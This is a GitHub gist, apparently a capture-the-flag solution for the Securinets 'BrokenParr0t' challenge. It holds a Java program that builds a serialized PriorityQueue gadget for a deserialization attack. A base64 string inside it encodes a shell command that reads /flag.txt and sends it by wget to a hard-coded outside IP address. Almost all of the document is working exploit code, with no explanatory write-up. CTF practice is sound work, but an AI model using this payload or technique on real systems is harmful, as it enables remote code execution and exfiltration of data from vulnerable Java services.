Created
April 10, 2022 15:54
-
-
Save nyxsorcerer/6dcabab91f061a2b758536aaafb1cafe to your computer and use it in GitHub Desktop.
Securinets [BrokenParr0t]
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package com.securinets.utils; | |
import java.io.*; | |
import java.lang.reflect.*; | |
import java.util.*; | |
import java.lang.reflect.InvocationHandler; | |
import java.lang.reflect.Method; | |
import java.lang.reflect.Proxy; | |
import java.util.Map; | |
public class QuestionCompar implements Serializable, Comparator<Object>{ | |
String internal; | |
private static final long serialVersionUID = 1L; | |
@Override | |
public int compare(Object one, Object two) { return 1; } | |
public static void main(String [] args){ | |
try { | |
QuestionCompar questObject = new QuestionCompar(); | |
Field privateQuest = QuestionCompar.class.getDeclaredField("internal"); | |
privateQuest.setAccessible(true); | |
privateQuest.set(questObject, new String("rO0ABXNyAB5jb20uc2VjdXJpbmV0cy5zZXJ2aWNlcy5BdXRob3IAAAAAAAAAAQIAA0kAA29sZEwABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMAAR1dWlkcQB+AAF4cAAAAAF0AFVzaCAtYyAkQHxzaCAuIGVjaG8gd2dldCBodHRwOi8vMTkyLjMuODEuMTcwOjEyMzQvP2E9JChjYXQgL2ZsYWcudHh0fGJhc2U2NHx0ciAtZCAiCiIpdAAIZjVhNWE2MDg=")); | |
PriorityQueue<QuestionCompar> pq = new PriorityQueue<QuestionCompar>(5,questObject); | |
pq.add(questObject); | |
pq.add(questObject); | |
System.out.println("Object built successfully!"); | |
ByteArrayOutputStream baos = new ByteArrayOutputStream(); | |
ObjectOutputStream oos = new ObjectOutputStream( baos ); | |
oos.writeObject( pq ); | |
oos.close(); | |
System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray())); | |
System.out.println("Object has been serialized"); | |
} | |
catch (Exception ex) { | |
StringWriter writer = new StringWriter(); | |
PrintWriter printWriter = new PrintWriter( writer ); | |
ex.printStackTrace( printWriter ); | |
printWriter.flush(); | |
String stackTrace = writer.toString(); | |
System.out.println("IOException is caught "+stackTrace); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment